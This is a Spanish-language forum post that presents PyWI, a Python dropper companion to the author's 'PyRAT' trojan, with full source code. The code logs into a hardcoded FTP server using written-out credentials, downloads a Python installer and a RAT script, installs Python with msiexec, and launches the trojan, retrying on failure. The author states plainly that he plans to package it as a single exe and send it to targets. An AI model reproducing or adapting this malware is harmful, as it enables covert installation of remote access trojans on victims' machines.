PiWI (PyRAT complemento)

Iniciado por WhiZ, Octubre 15, 2013, 12:04:03 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Octubre 15, 2013, 12:04:03 AM Ultima modificación: Octubre 15, 2013, 07:24:12 PM por WhiZ
Hola Gente! como les va??? Aprovecho en este ratito libre q tengo antes de acostarme para postear lo que no pude a la mañana jeje.

Hace algún tiempo atrás estuve experimentando un poco con el tema de PyRAT un troyano muy básico codeado en python. Lamentablemente, estuvo bastante tiempo estancado (espero poder retomarlo algún dìa) pero mientras tanto aproveché hoy a la mañana para escribir PyWI, un complemento de dicho RAT.

Básicamente, PyWi se encarga de habilitar el funcionamiento del RAT en windows mediante la instalación de python2.7 (sigilosamente) para luego activar el troyano.

No es mucho lo que hace en realidad pero pretendo ir mejorándolo tmb.

Sé que python podría parecer algo inadecuado para el tema de los RATs, principalmente por el hecho de que windows no trae python por defecto e instalarlo (tal y como lo hace PyWI) es bastante sospechoso. Sin embargo, se pueden cambiar algunas opciones durante la configuración como para que no sea tan delator.

Por otro lado, creo que hay mucho terreno explorado en otros lenguajes y resulta python un lenguaje con mucho camino por andar, por lo que en vez de hacer lo que ya hicieron miles de programadores, prefiero intentar hacer algo con mi querido python jeje.

Bueno, primero les comento como organicé todo y luego les dejo el código.

PyWI consiste en las siguientes clases:
    - Main --> clase principal; instancia a las clases siguientes y ejecuta el RAT
    - FTPDownloader --> descarga el archivo de instalación de python2.7 y el RAT
    - PyInstaller --> instala python2.7
    - ExceptionHandler --> captura los eventuales errores y los envía vía mail/FTP (esto último inconcluso)

main.py
Código: python
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from ftpDownloader import FTPDownloader
from pyInstaller import PyInstaller
from exceptionHandler import ExceptionHandler
from os import popen
from time import sleep

class Main(object):
def __init__(self, host, dir, user=None, passwd=None):
self.host = host
self.user = user
self.passwd = passwd
self.dir = dir

def ftpDownload(self, files):
ftpd = FTPDownloader(self.host, self.dir, self.user, self.passwd)

ftpd.login()

for file in files:
ftpd.file = file
ftpd.downloadFile()

ftpd.close()

def pythonInstall(self):
pyInstaller = PyInstaller()
pyInstaller.install()

def initRAT(self):
popen('python rat.py')

def main():
host = '31.170.160.100'
user = 'a3824860'
passwd = 'l0g1nn0w'
dir = 'public_html'
files = ['pyInstaller.msi', 'rat.py']

try:
main = Main(host, dir, user, passwd)
main.ftpDownload(files)
main.pythonInstall()
main.initRAT()
except Exception as e:
exception = ExceptionHandler(e)
print('[*] retrying in 1000s')
sleep(1000)
main()

if __name__ == '__main__':
main()


ftpDownloader.py
Código: python
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from ftplib import FTP
import sys

class FTPDownloader(object):
    def __init__(self, host, dir, user=None, passwd=None, file=None):
        self.user = user
        self.passwd = passwd
        self.dir = dir
        self.file = file

        self.ftp = FTP(host)

    def login(self):
        print('[+] logging')
        self.ftp.login(self.user, self.passwd)
        self.ftp.cwd(self.dir)

    def downloadFile(self):
        print('[+] downloading '+self.file)
        self.ftp.voidcmd('TYPE I')

        datasock, estsize = self.ftp.ntransfercmd('RETR ' + self.file)
        transbytes = 0
        fd = open(self.file, 'wb')
        while 1:
            buf = datasock.recv(2048)
            if not len(buf):
                break
            fd.write(buf)
            transbytes += len(buf)
            sys.stdout.write('Received %d ' % transbytes)

            if estsize:
                sys.stdout.write('o0f %d bytes (%.1f%%)\r' % \
                        (estsize, 100.0 * float(transbytes) / float(estsize)))
            else:
                sys.stdout.write('bytes\r')
            sys.stdout.flush()
        sys.stdout.write('\n')
        fd.close()
        datasock.close()
        self.ftp.voidresp()

    def close(self):
        print('[+] closing connection')
        self.ftp.quit()


pyInstaller.py
Código: python
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from time import sleep
from os import popen

class PyInstaller(object):
"""
Instala Python v2.7 de manera silenciosa.
"""
def __init__(self):
installer  = 'pyInstaller.msi'
self.cmd = 'msiexec /i ' + installer
# debo mejorar la configuración de la instalación
# para cambiar PATH y algunas cosas más.

def install(self):
print('[+] installing python')
popen(self.cmd)


exceptionHandler.py
Código: python
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

class ExceptionHandler(object):
def __init__(self, e):
error = '[-] ERROR:', e
print(e)

# falta agregar el resto del código para:
#
# - conseguir información del host (ip o
# nombre del host, y demás)
#
# - enviar la información vía mail o FTP
##########################################


La idea es crear un único exe a partir de estos archivos y enviarlo.

Si alguno quiere probar su funcionamiento puede hacerlo con el código tal como está (dejé listo un servidor FTP con 2 archivos: el instalador y un pseudo RAT).

Bueno, eso es todo. Cualquier cosa no duden en comentar.

Saludos!
WhiZ